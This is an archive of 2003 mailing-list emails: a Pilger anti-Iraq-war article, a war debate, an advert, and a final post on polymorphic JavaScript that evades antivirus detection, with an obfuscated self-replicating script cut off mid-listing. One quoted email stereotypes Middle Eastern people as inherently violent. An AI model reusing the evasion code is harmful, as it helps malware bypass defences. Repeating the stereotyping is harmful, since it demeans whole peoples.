X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id DAA11297 Resent-Message-ID: <"0KfW_.0.Ln2.VZJc-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1652 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 128 Crime Against Humanity by John Pilger Z Magazine Thursday 10 April 2003 A BBC television producer, moments before he was wounded by an American fighter aircraft that killed 18 people with "friendly fire", spoke to his mother on a satellite phone. Holding the phone over his head so that she could hear the sound of the American planes overhead, he said: "Listen, that's the sound of freedom." Did I read this scene in Catch-22? Surely, the BBC man was being ferociously ironic. I doubt it, just as I doubt that whoever designed the Observer's page three last Sunday had Joseph Heller in mind when he wrote the weasel headline: "The moment young Omar discovered the price of war". These cowardly words accompanied a photograph of an American marine reaching out to comfort 15-year-old Omar, having just participated in the mass murder of his father, mother, two sisters and brother during the unprovoked invasion of their homeland, in breach of the most basic law of civilised peoples. No true epitaph for them in Britain's famous liberal newspaper; no honest headline, such as: "This American marine murdered this boy's family". No photograph of Omar's father, mother, sisters and brother dismembered and blood-soaked by automatic fire. Versions of the Observer's propaganda picture have been appearing in the Anglo-American press since the invasion began: tender cameos of American troops reaching out, kneeling, ministering to their "liberated" victims. And where were the pictures from the village of Furat, where 80 men, women and children were rocketed to death? Apart from the Mirror, where were the pictures, and footage, of small children holding up their hands in terror while Bush's thugs forced their families to kneel in the street? Imagine that in a British high street. It is a glimpse of fascism, and we have a right to see it. "To initiate a war of aggression," said the judges in the Nuremberg trial of the Nazi leadership, "is not only an international crime; it is the supreme international crime differing only from other war crimes in that it contains within itself the accumulated evil of the whole." In stating this guiding principle of international law, the judges specifically rejected German arguments of the "necessity" for pre-emptive attacks against other countries. Nothing Bush and Blair, their cluster-bombing boys and their media court do now will change the truth of their great crime in Iraq. It is a matter of record, understood by the majority of humanity, if not by those who claim to speak for "us". As Denis Halliday said of the Anglo-American embargo against Iraq, it will "slaughter them in the history books". It was Halliday who, as assistant secretary general of the United Nations, set up the "oil for food" programme in Iraq in 1996 and quickly realised that the UN had become an instrument of "a genocidal attack on a whole society". He resigned in protest, as did his successor, Hans von Sponeck, who described "the wanton and shaming punishment of a nation". I have mentioned these two men often in these pages, partly because their names and their witness have been airbrushed from most of the media. I well remember Jeremy Paxman bellowing at Halliday on Newsnight shortly after his resignation: "So are you an apologist for Saddam Hussein?" That helped set the tone for the travesty of journalism that now daily, almost gleefully, treats criminal war as sport. In a leaked e-mail Roger Mosey, the head of BBC Television News, described the BBC's war coverage as "extraordinary - it almost feels like World Cup football when you go from Um Qasr to another theatre of war somewhere else and you're switching between battles". He is talking about murder. That is what the Americans do, and no one will say so, even when they are murdering journalists. They bring to this one-sided attack on a weak and mostly defenceless people the same racist, homicidal intent I witnessed in Vietnam, where they had a whole programme of murder called Operation Phoenix. This runs through all their foreign wars, as it does through their own divided society. Take your pick of the current onslaught. Last weekend, a column of their tanks swept heroically into Baghdad and out again. They murdered people along the way. They blew off the limbs of women and the scalps of children. Hear their voices on the unedited and unbroadcast videotape: "We shot the shit out of it." Their victims overwhelm the morgues and hospitals - hospitals already denuded of drugs and painkillers by America's deliberate withholding of $5.4bn in humanitarian goods, approved by the Security Council and paid for by Iraq. The screams of children undergoing amputation with minimal anaesthetic qualify as the BBC man's "sound of freedom". Heller would appreciate the sideshows. Take the British helicopter pilot who came to blows with an American who had almost shot him down. "Don't you know the Iraqis don't have a fucking air force?" he shouted. Did this pilot reflect on the truth he had uttered, on the whole craven enterprise against a stricken third world country and his own part in this crime? I doubt it. The British have been the most skilled at delusion and lying. By any standard, the Iraqi resistance to the high-tech Anglo-American machine was heroic. With ancient tanks and mortars, small arms and desperate ambushes, they panicked the Americans and reduced the British military class to one of its specialities - mendacious condescension. The Iraqis who fight are "terrorists", "hoodlums", "pockets of Ba'ath Party loyalists", "kamikaze" and "feds" (fedayeen). They are not real people: cultured and cultivated people. They are Arabs. This vocabulary of dishonour has been faithfully parroted by those enjoying it all from the broadcasting box. "What do you make of Basra?" asked the Today programme's presenter of a former general embedded in the studio. "It's hugely encouraging, isn't it?" he replied. Their mutual excitement, like their plummy voices, are their bond. On the same day, in a Guardian letter, Tim Llewellyn, a former BBC Middle East correspondent, pointed us to evidence of this "hugely encouraging" truth - fleeting pictures on Sky News of British soldiers smashing their way into a family home in Basra, pointing their guns at a woman and manhandling, hooding and manacling young men, one of whom was shown quivering with terror. "Is Britain 'liberating' Basra by taking political prisoners and, if so, based on what sort of intelligence, given Britain's long unfamiliarity with this territory and its inhabitants . . . The least this ugly display will do is remind Arabs and Muslims everywhere of our Anglo-Saxon double standards - we can show your prisoners in . . . degrading positions, but don't you dare show ours.". Roger Mosey says the suffering of Um Qasr is "like World Cup football". There are 40,000 people in Um Qasr; desperate refugees are streaming in and the hospitals are overflowing. All this misery is due entirely to the "coalition" invasion and the British siege, which forced the United Nations to withdraw its humanitarian aid staff. Cafod, the Catholic relief agency, which has sent a team to Um Qasr, says the standard humanitarian quota for water in emergency situations is 20 litres per person per day. Cafod reports hospitals entirely without water and people drinking from contaminated wells. According to the World Health Organisation, 1.5 million people across southern Iraq are without water, and epidemics are inevitable. And what are "our boys" doing to alleviate this, apart from staging childish, theatrical occupations of presidential palaces, having fired shoulder-held missiles into a civilian city and dropped cluster bombs? A British colonel laments to his "embedded" flock that "it is difficult to deliver aid in an area that is still an active battle zone". The logic of his own words mocks him. If Iraq was not a battle zone, if the British and the Americans were not defying international law, there would be no difficulty in delivering aid. There is something especially disgusting about the lurid propaganda coming from these PR-trained British officers, who have not a clue about Iraq and its people. They describe the liberation they are bringing from "the world's worst tyranny", as if anything, including death by cluster bomb or dysentery, is better than "life under Saddam". The inconvenient truth is that, according to Unicef, the Ba'athists built the most modern health service in the Middle East. No one disputes the grim, totalitarian nature of the regime; but Saddam Hussein was careful to use the oil wealth to create a modern secular society and a large and prosperous middle class. Iraq was the only Arab country with a 90 per cent clean water supply and with free education. All this was smashed by the Anglo-American embargo. When the embargo was imposed in 1990, the Iraqi civil service organised a food distribution system that the UN's Food and Agriculture Organisation described as "a model of efficiency . . . undoubtedly saving Iraq from famine". That, too, was smashed when the invasion was launched. Why are the British yet to explain why their troops have to put on protective suits to recover dead and wounded in vehicles hit by American "friendly fire"? The reason is that the Americans are using solid uranium coated on missiles and tank shells. When I was in southern Iraq, doctors estimated a sevenfold increase in cancers in areas where depleted uranium was used by the Americans and British in the 1991 war. Under the subsequent embargo, Iraq, unlike Kuwait, has been denied equipment with which to clean up its contaminated battlefields. The hospitals in Basra have wards overflowing with children with cancers of a variety not seen before 1991. They have no painkillers; they are fortunate if they have aspirin. With honourable exceptions (Robert Fisk; al-Jazeera), little of this has been reported. Instead, the media have performed their preordained role as imperial America's "soft power": rarely identifying "our" crime, or misrepresenting it as a struggle between good intentions and evil incarnate. This abject professional and moral failure now beckons the unseen dangers of such an epic, false victory, inviting its repetition in Iran, Korea, Syria, Cuba, China. George Bush has said: "It will be no defence to say: 'I was just following orders.'" He is correct. The Nuremberg judges left in no doubt the right of ordinary soldiers to follow their conscience in an illegal war of aggression. Two British soldiers have had the courage to seek status as conscientious objectors. They face court martial and imprisonment; yet virtually no questions have been asked about them in the media. George Galloway has been pilloried for asking the same question as Bush, and he and Tam Dalyell, Father of the House of Commons, are being threatened with withdrawal of the Labour whip. Dalyell, 41 years a member of the Commons, has said the Prime Minister is a war criminal who should be sent to The Hague. This is not gratuitous; on the prima facie evidence, Blair is a war criminal, and all those who have been, in one form or another, accessories should be reported to the International Criminal Court. Not only did they promote a charade of pretexts few now take seriously, they brought terrorism and death to Iraq. A growing body of legal opinion around the world agrees that the new court has a duty, as Eric Herring of Bristol University wrote, to investigate "not only the regime, but also the UN bombing and sanctions which violated the human rights of Iraqis on a vast scale". Add the present piratical war, whose spectre is the uniting of Arab nationalism with militant Islam. The whirlwind sown by Blair and Bush is just beginning. Such is the magnitude of their crime. (In accordance with Title 17 U.S.C. Section 107, this material is distributed without profit to those who have expressed a prior interest in receiving the included information for research and educational purposes.) From vortexb-l-request@eskimo.com Sun Apr 13 15:39:30 2003 Received: (from smartlst@localhost) by mx2.eskimo.com (8.9.1a/8.8.8) id PAA16179; Sun, 13 Apr 2003 15:36:07 -0700 (PDT) Resent-Date: Sun, 13 Apr 2003 15:36:07 -0700 (PDT) Message-ID: <006101c301db$13195a00$1202a8c0@WorkGroup> From: "Dave N." To: References: <025c01c30150$54f59d20$1202a8c0@WorkGroup> Subject: Gotta love those nutty UN peacekeepers! Date: Sun, 13 Apr 2003 12:21:46 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"gKAL13.0.ky3.LPUc-"@mx2> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1653 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 129 Check this out! http://www.newsoftheweird.com/archive/index.html "...And in February, during the international debate on whether the forcible disarmament of Iraq needed the moral sanction of the United Nations, the U.N. High Commissioner for Human Rights in Bosnia accused many of the U.N. peacekeepers in the region of the enthusiastic off-duty patronization of sex slaves and child prostitutes. [The Scotsman, 2-9-03] [Associated Press, 1-23-03]" Ok, refresh my memory: How exactly does the UN lend moral credibility to something? Dave! When the oppressed joyfully embrace their liberators, remember those who acted to keep them enslaved. ----- Original Message ----- From: "Dave N." To: Sent: Saturday, April 12, 2003 8:04 PM Subject: Re: Tell us again why you opposed the US in this war! | X, | | Well, I don't mean to merely play Devil's advocate here, but I can conceive that an imbedded | cameraman and reporter, after having hauled ass for 21 days, enduring lack of sleep, food, dust | and the stress of being shot at might miss the fine points of what was printed on a manual. And | it very well might take a very astute observer to eventually notice it on the tape... A friend | of mine who's involved in movies says very few people can read fast enough to catch titles on | books, words on the page etc. (that's why directors usually hold the camera on printed words | like that for a long time). Also, if it wasn't one of those 24hr cable news outlets, it's not | unusual for a network to run something just once | | However... It's also possible that if the reporters were unsympathetic to the US they might | very well want to gloss over French complicity in Saddam's regime... Or what you proposed | below. We'll have to wait and see. | | I'm actually optimistic about there being a possibility for true liberation in Iraq, here's why: | Iraq is one of the most modern Arabic nations, and one of the most proud. A large portion of | their pride comes from Iraq being the cradle of civilization. Attaching a good portion of your | self identity to such an idea makes it more difficult to act outside that idea e.g. if your | nation is the birthplace of civilization, then you must be civilized (and are encouraged to act | accordingly). Couple a strong sense of nationalism to this and it's even more intense. | | I would also disagree with you about Iraq not having the trappings of a modern nation - they are | one of the most educated nations in the Middle East. It's just they haven't been able to | express that in their country because of the oppression of Saddam. Also, one of the first | things I do when I get a new firearm or some special ammo is to go pop off a few rounds with it. | So don't necessarily think that because you like to shoot your inherently barbaric. ; ) | | Again, time will tell. | | Best, | | Dave | | | When the oppressed joyfully embrace their liberators, remember those who acted to keep them | enslaved. | | | ----- Original Message ----- | From: "xplorer" | To: | Sent: Thursday, April 10, 2003 1:05 PM | Subject: RE: Tell us again why you opposed the US in this war! | | | | | | When they showed the prison, | | the cameraman's field of view passed over the manual, | | and a page was momentarily visible. | | No one mentioned it, and later video cuts seemed to omit | | what was shown - a page with clearly legible Arabic paragraphs | | between paragraphs written in French. | | I assumed someone with a bit of savvy in such matters | | would have written a news item on this by now. | | Or, as usual, it's being buried to assist diplomatic efforts. | | Or what was shown was not actually the manual... | | It's just a footnote to current events, at any rate. | | | | On their chances for a better future: | | Having worked in that region for a few years, | | I can tell you now that the chance this area will see peace | | can best be described as an imaginary number. | | These people are living proof of that over time, | | the predator personality is refined in a static environment | | such as the Middle East provides. | | The continuing struggle to exist in this arid region | | has produced a culture of such violence | | that most Americans will never comprehend. | | These people have been hunting the weaker elements | | of their society for several thousand years, | | and a four week (or one year, for that matter...) effort | | is not going to have any real effect on their culture. | | After all is said and done, and all the uniforms go home, | | they will go back to killing and torturing each other | | all over again. That's what they do. | | It's not as if they are inherently evil, | | it is simply a matter of geography and history. | | No science programs, no great medical efforts, | | no star sports figures, no hallowed halls of education - | | just over and over again the strong ripping off the less fortunate | | down into the sands of time. | | I remember sitting in the desert during afternoon tea one day, | | watching the labour - they weren't so much interested in breaking bread | | or enjoying a tea break for the tea - they were too busy | | trying out some new ammo they had bought in town for their AK-47's. | | | | There is no hope for those living in the Middle East. | | None whatsoever, outside of moving away to greener pastures | | in places where violence is not a way of life. | | | | | | > -----Original Message----- | | > From: Dave N. [mailto:dnarby@PunkAss.com] | | > Sent: Thursday, 2003 April 10 12:56 | | > To: vortexb-l@eskimo.com | | > Subject: Re: Tell us again why you opposed the US in this war! | | > | | > | | > Hey X, | | > | | > | No one seems to have picked up on the fact that the | | > | manual for interogation (Psychology of Interrogation) | | > | was written in French with arabic translation... | | > | | | > | | > What?! Where did you read that? | | > | | > | | > | > No one knows yet whether the new Iraq will be the kind of place where | | > | > children can grow up free of the fear, the horror of torture. | | > | | | > | Probably not, if history is any kind of a guide... | | > | | > Well, they stand a better chance without Sodamn Insane, that's | | > for sure - *And* if we do the | | > right thing by the Iraqis. Those people have been screwed over | | > by the west time and time again. | | > We owe them big time. | | > | | > Best, | | > | | > Dave | | > | | > | | > | | | | From vortexb-l-request@eskimo.com Sun Apr 13 22:43:40 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id WAA18166; Sun, 13 Apr 2003 22:34:46 -0700 Resent-Date: Sun, 13 Apr 2003 22:34:46 -0700 Message-ID: <008a01c30247$86204060$1202a8c0@WorkGroup> From: "Dave N." To: References: <025c01c30150$54f59d20$1202a8c0@WorkGroup> <006101c301db$13195a00$1202a8c0@WorkGroup> Subject: Treatment for IIMWS Date: Mon, 14 Apr 2003 01:26:55 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"B3h611.0.fR4.rXac-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1654 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 130 Hey all, If you've been experiencing IIMWS (Iraqi Information Minister Withdrawal Syndrome) like I have, then this site will make it all better: http://www.welovetheiraqiinformationminister.com/mss_history.html This sight might be experiencing bandwidth challenges due to a lot of traffic, but it's worth the wait. Enjoy, Dave When the oppressed joyfully embrace their liberators, remember those who acted to keep them enslaved. ----- Original Message ----- From: "Dave N." To: Sent: Sunday, April 13, 2003 12:21 PM Subject: Gotta love those nutty UN peacekeepers! | Check this out! | | http://www.newsoftheweird.com/archive/index.html | | "...And in February, during the international debate on whether the forcible disarmament of Iraq | needed the moral sanction of the United Nations, the U.N. High Commissioner for Human Rights in | Bosnia accused many of the U.N. peacekeepers in the region of the enthusiastic off-duty | patronization of sex slaves and child prostitutes. [The Scotsman, 2-9-03] [Associated Press, | 1-23-03]" | | Ok, refresh my memory: How exactly does the UN lend moral credibility to something? | | Dave! | | | When the oppressed joyfully embrace their liberators, remember those who acted to keep them | enslaved. | | | ----- Original Message ----- | From: "Dave N." | To: | Sent: Saturday, April 12, 2003 8:04 PM | Subject: Re: Tell us again why you opposed the US in this war! | | | | X, | | | | Well, I don't mean to merely play Devil's advocate here, but I can conceive that an imbedded | | cameraman and reporter, after having hauled ass for 21 days, enduring lack of sleep, food, | dust | | and the stress of being shot at might miss the fine points of what was printed on a manual. | And | | it very well might take a very astute observer to eventually notice it on the tape... A | friend | | of mine who's involved in movies says very few people can read fast enough to catch titles on | | books, words on the page etc. (that's why directors usually hold the camera on printed words | | like that for a long time). Also, if it wasn't one of those 24hr cable news outlets, it's not | | unusual for a network to run something just once | | | | However... It's also possible that if the reporters were unsympathetic to the US they might | | very well want to gloss over French complicity in Saddam's regime... Or what you proposed | | below. We'll have to wait and see. | | | | I'm actually optimistic about there being a possibility for true liberation in Iraq, here's | why: | | Iraq is one of the most modern Arabic nations, and one of the most proud. A large portion of | | their pride comes from Iraq being the cradle of civilization. Attaching a good portion of | your | | self identity to such an idea makes it more difficult to act outside that idea e.g. if your | | nation is the birthplace of civilization, then you must be civilized (and are encouraged to | act | | accordingly). Couple a strong sense of nationalism to this and it's even more intense. | | | | I would also disagree with you about Iraq not having the trappings of a modern nation - they | are | | one of the most educated nations in the Middle East. It's just they haven't been able to | | express that in their country because of the oppression of Saddam. Also, one of the first | | things I do when I get a new firearm or some special ammo is to go pop off a few rounds with | it. | | So don't necessarily think that because you like to shoot your inherently barbaric. ; ) | | | | Again, time will tell. | | | | Best, | | | | Dave | | | | | | When the oppressed joyfully embrace their liberators, remember those who acted to keep them | | enslaved. | | | | | | ----- Original Message ----- | | From: "xplorer" | | To: | | Sent: Thursday, April 10, 2003 1:05 PM | | Subject: RE: Tell us again why you opposed the US in this war! | | | | | | | | | | When they showed the prison, | | | the cameraman's field of view passed over the manual, | | | and a page was momentarily visible. | | | No one mentioned it, and later video cuts seemed to omit | | | what was shown - a page with clearly legible Arabic paragraphs | | | between paragraphs written in French. | | | I assumed someone with a bit of savvy in such matters | | | would have written a news item on this by now. | | | Or, as usual, it's being buried to assist diplomatic efforts. | | | Or what was shown was not actually the manual... | | | It's just a footnote to current events, at any rate. | | | | | | On their chances for a better future: | | | Having worked in that region for a few years, | | | I can tell you now that the chance this area will see peace | | | can best be described as an imaginary number. | | | These people are living proof of that over time, | | | the predator personality is refined in a static environment | | | such as the Middle East provides. | | | The continuing struggle to exist in this arid region | | | has produced a culture of such violence | | | that most Americans will never comprehend. | | | These people have been hunting the weaker elements | | | of their society for several thousand years, | | | and a four week (or one year, for that matter...) effort | | | is not going to have any real effect on their culture. | | | After all is said and done, and all the uniforms go home, | | | they will go back to killing and torturing each other | | | all over again. That's what they do. | | | It's not as if they are inherently evil, | | | it is simply a matter of geography and history. | | | No science programs, no great medical efforts, | | | no star sports figures, no hallowed halls of education - | | | just over and over again the strong ripping off the less fortunate | | | down into the sands of time. | | | I remember sitting in the desert during afternoon tea one day, | | | watching the labour - they weren't so much interested in breaking bread | | | or enjoying a tea break for the tea - they were too busy | | | trying out some new ammo they had bought in town for their AK-47's. | | | | | | There is no hope for those living in the Middle East. | | | None whatsoever, outside of moving away to greener pastures | | | in places where violence is not a way of life. | | | | | | | | | > -----Original Message----- | | | > From: Dave N. [mailto:dnarby@PunkAss.com] | | | > Sent: Thursday, 2003 April 10 12:56 | | | > To: vortexb-l@eskimo.com | | | > Subject: Re: Tell us again why you opposed the US in this war! | | | > | | | > | | | > Hey X, | | | > | | | > | No one seems to have picked up on the fact that the | | | > | manual for interogation (Psychology of Interrogation) | | | > | was written in French with arabic translation... | | | > | | | | > | | | > What?! Where did you read that? | | | > | | | > | | | > | > No one knows yet whether the new Iraq will be the kind of place where | | | > | > children can grow up free of the fear, the horror of torture. | | | > | | | | > | Probably not, if history is any kind of a guide... | | | > | | | > Well, they stand a better chance without Sodamn Insane, that's | | | > for sure - *And* if we do the | | | > right thing by the Iraqis. Those people have been screwed over | | | > by the west time and time again. | | | > We owe them big time. | | | > | | | > Best, | | | > | | | > Dave | | | > | | | > | | | > | | | | | | | | | From vortexb-l-request@eskimo.com Mon Apr 14 20:33:37 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id UAA05515; Mon, 14 Apr 2003 20:29:54 -0700 Resent-Date: Mon, 14 Apr 2003 20:29:54 -0700 Message-ID: <00ef01c302ff$34c57e20$d5c79d40@annamort> Reply-To: "Anna M*" From: "Anna M*" To: "MetaExistence" Subject: Propaganda in action Date: Mon, 14 Apr 2003 20:29:16 -0700 MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_000_00EB_01C302C4.85382280"; type="multipart/alternative" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Resent-Message-ID: <"vppwS3.0.6M1.notc-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1655 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 131 This is a multi-part message in MIME format. ------=_NextPart_000_00EB_01C302C4.85382280 Content-Type: multipart/alternative; boundary="----=_NextPart_001_00EC_01C302C4.85382280" ------=_NextPart_001_00EC_01C302C4.85382280 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable Apr. 15, 2003 Special Offer from NewsMax.com=20 =20 "Official Most Wanted Iraqis"=20 Playing Cards Click here to get the playing cards or more info The U.S. Department of Defense has issued a new set of playing cards for = U.S. military forces in Iraq.=20 The cards each picture a prominent Iraqi war criminal, beginning with = the Ace of Spades =96 Saddam Hussein.=20 The US government has identified a list of 55 most-wanted Iraqi leaders, = wanted dead or alive. They hope these playing cards will help our troops = identify these criminals.=20 Now you can get a deck of these playing cards =96 sure to be a = collector=92s item!=20 Just Click Here Now=20 Each card has a picture of a wanted figure.=20 "The key list has 55 individuals who may be pursued, killed or captured, = and the list does not exclude leaders who may have already been killed = or captured," said Brig. Gen. Vincent Brooks at a Central Command = briefing Friday.=20 The cards, dubbed the "deck of death", show the toppled Iraqi dictator = as the Ace of Spades and his son Qusay as the Ace of Clubs. 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X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 132 US should conquer also Syria to prove their operation have nothing with oil. But nevertheless, it would be good to put inventory a land next to Iraq, open to Mediterranean. So why to hesitate on that? Your brave army is already here and there are even more land over there ready to freed. Please drop your bombs of freedom over cities. I would be also a good idea to take advertisements on military equipment and on uniforms from sponsor and from popular brands in order to lower war costs. After all, where these weapons of mass destruction which menace the world are hidden? Maybe there or there. Lets take a look and dont stop before finding them. Please save the world! United Nations, shame on you! We will soon find your terrorist partners! hamdi ucar From vortexb-l-request@eskimo.com Tue Apr 15 02:43:39 2003 Received: (from smartlst@localhost) by mx2.eskimo.com (8.9.1a/8.8.8) id CAA21425; Tue, 15 Apr 2003 02:39:28 -0700 (PDT) Resent-Date: Tue, 15 Apr 2003 02:39:28 -0700 (PDT) Message-ID: <3E9BD1EB.D6DD855A@verisoft.com.tr> Date: Tue, 15 Apr 2003 12:33:31 +0300 From: hamdix Reply-To: hamdix@verisoft.com.tr X-Mailer: Mozilla 4.78 [en] (Win98; U) MIME-Version: 1.0 To: VortexB Subject: Solution for polimorphism in javascript? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Resent-Message-ID: <"ICp0N1.0.aE5.ADzc-"@mx2> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1657 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 133 Hello, This posting is originally written for Security Focus focus-virus list and include a sample code. ------------------- Two years ago I wrote a polymorphic kind of routine in javascript in order to test it such a code can escape generic detection methods. On literature I did not see any work on detection of script code maybe basic methods based on keyword or signatures were enough to them be detected. So, after performing some analyses, it appears polymorphic scripting is possible and on the shelf detection methods may not always work. A generic solution for kind of code may be provided by advanced heuristic methods, using emulators or integration of antivirus-ware with script engines. As such a code will pass undetected from most of email filtering software, claim of effectiveness on unknown code using heuristic methods is nothing than giving false sense of security. I should note that some anti-emulations schemes used in native codes could be also used in scripting, like time checks, conditional or random early termination in decoding process. Such schemes could limit usage of emulation based detection systems. Although Javascript language polymorphic capability is limited when compared with native code, it have build in integration with browser and access to Internet is permitted by default. This allow a worm or a virus written on this scheme have a small foot print and rest of code can be fetched from Internet in variable encrypted form. This part may never be need to stored locally on infected machine, but the Internet become a part of the infection. As this code intended to test pure javascript language capabilities for polymorphism it does not take advantage of rich HTML features. Decoded code can be obtained using a debugger, but needs be formatted. Formatted version of the code with spare comments can be obtained also from author. Below is the sample code which is not included in securityfocus posting. One should copy this part to a file in order to test it. It is provided for only purpose of this article. Code is written for Windows Scripting Host version 5.1 and upper. Instances have variable size between 5K to 14K. This code try just to create an new instance of it as pmtest.js on the current directory. This is accomplished by typical instructions: p=new ActiveXObject('Scripting.FileSystemObject'); a=p.CreateTextFile('pmtest.js',1); a.Write(d); a.Close(); No other ActiveX Object and methods is used in this code. ========== pmtest.js ============ /* jax5g982 - Example of polymophism on Javascript Copyright Orchestra Communication Systems, 2002 This script create file pmtest.js at current directory. (run 1499) */ sqlug={ u_: "rMV,z Owag79(a9J3FE", yo: "Kojzlvf32eGR CPe15U3Y8cdS", au: "Y:L0Bt4Z}tSt.6ABgF207VyVl,W+Cjvq9GCaFFVm6T,8ID5Z", v5:"73;", sn:"swqC4oo5O)o9h9B1L9JyjQH0k9Q4xYz+ft++", vu:"Cs4YagrmdVyTfsHQb7+wrcywhn7s+k4K74fVd kz6qtRRAabgBfKI", jl :"PLjB7TA5rEQ518Xys+XpgFSergYIEI m5JK8XjTXbOiH'", os: "c;", oi :"M(Mkp0zDwfe5Xl", xf: "c", hs:"eafBo8Qnufbomk9nQJWk", u4 : ")yIJbumsPgc35r nMX", jd:"BmLvuLkYPeIlYfuJCx5Xnus", bc:"0", pa:"gazhYyHtuf,r6IW", sm :"c%", wi : "FTefqByvyrkYWr50 Z6V45R3.ZT8IR1aDU7d49TC", l_:"e", c2 : "RQbrwcnDJ4wFs6zg{r++3d PGY+ZE b3mKmEq", w3 :"e", xr: "0lf1HyG2EEpH3CsHou495z.EVQ+OfiN3", ce:"+5F2m5lG5sgIw4Qe38t5+U50C", gl:"c", to :"t515lC1y", s9 : "u", i7:"At ", rh:"%", yr:"-yjQ7F9SJ7N1iSiDkLUjzJXCdKoyldU9ffR9", sh: "IylZ9qOwVO7vN 'Fo", mz:"+mf9npzMwq 59g17QN)fSkaSqDZO FMf3PyBGk 3",od: ",PVs", my:"u4frilsIRZsVoFfYCvq3dNBS4kF3PX93sKhZ?Lu4Hn", gn: "e", uj:"nc)", vy :"rxvRUuHaOwy-MB9d;++JZtgW3+w9kflq+Ptwwfu+K54?a Q40fHn496", s3: "ME9vgnfd", fu: "39GAudLFmLJY4Xpq9LNxFp3JwcVVw9Haxc", rk: "z6tb hHHcuea4XEZ)YZ+ps' ux", cl:"Y4w+fVt9D6rMc9BIfqr55Xk4Ie48tKMj5vU4u+r6bS97", tz : "6", vw: "KTK9CaCusL4YAdNwwkZb VozWUjsweR7lpyfseQcjrVJY9HV", i3:"r (", ny:"101)", wl:"d39tqP5UutEruO77Bhvn15P+POH LnH?jyC9", al :"IS Q9C6ui5BgioDukRlyC5ED5Uw9XkA92uY,f", v6:"rvnrovvxe+qP)7.vHfrn7mi", ao:"Zk119sZL3fn3 5To4kyE.y25o", i0:"FJkKy", by :"qv ", d8:"3+W5wuDocBHwf.grHwaG7QXBe+3:5Ra 1RYZwVtbw9" d4=rh+"6"+xf xd=vu+"u+1vflezkMcG5H3SVjNwD+8o3esrx)5ug4I 7x77+JS)fdfwf0/"+oc gw="h"+x2 xj=zf+"w+LBxyI++kelR5 (sP5kOELchYZY3SpXTzUnwwj59nZ4TsC5" he=cq+"67grJaBOb8pFYCKp9L99)dB36AuQ58=OG8O0sSFmykML" ek="iB9a8Ojw-"+ti en=kv+"1CoGV)B9OMm5VQ5b9bcR3HILXBpo7FdbP4XFiBOkIhx"+mp mi=fm+"i. c"+gw sd=ek+"TQhA3Zy"+or gu=o_+"Rwf/ehoQwcsBn1Y CKsJ6J LwCV5sc9OUZPM+E=VAwXOuK8L9 odY" s6=zg+"cDGKkIFtk1g4Kak5AF5c9"+gu qx="xbu9MHSubXpaU9E1aWQCkEZZg1XW0nw1s9aXu4"+oh xe=uj+"%"+vk vz=en+"mkTteOfGBGHkcT9aFxQuKbJBZcXVY=YtoReu/BBp oxIBd852lMu"+sd r5=ix+"V7DU5QotY9 5=RuchtZtrQ O3w99lhtXhx7w045G1 0FjnYsv"+vg jy=gd+"Z5hsrD7Vbs0Eqz3b7MJ7tfulXfSYuHVtVsXrXV3"+sb u5=s6+"YK9uwOAKT i9FNKoVcMaS+5L DEBW77U03V}azuu12RdbS"+iv nn=m7+"99"+dh ht="wtCeBgD9P94czeDSo9fXi39i)DYX6ol1XZcd"+u5 ov=hi+")" sq="Vf"+mz bu=ih+"'n5xf7)pbLJwnUrNwPL 9+xRypL.s8as2yxe GVzbUeGDdZ39k5"+xd ge=ht+"QuwFZBEZJfA5sZfp" hp=sq+"HbmQWykfrFlS8b4XUaN5xyBfr FFfXynQDxB 5a9IVQI70gxH,N+="+xj av="3xHDprror7CO30fESJOk66wd55TuS&JueEq1A6KfcbOC8c5"+bu kx=vz+"x55LtX7nEKf7o5fev+kGP"+lo ll="PLVBt4VeddfNH9WK"+yv x_=n7+"3SQd0+Ke6xpwUhY5S9NZpXU5h3oqPoIwJwLdHnfi5cy5PZ;CPVa2;auw"+yr w2=wr+"NPBo65uQLjS7UIQgVSLxX>tyZHopw9R+9f"+r5 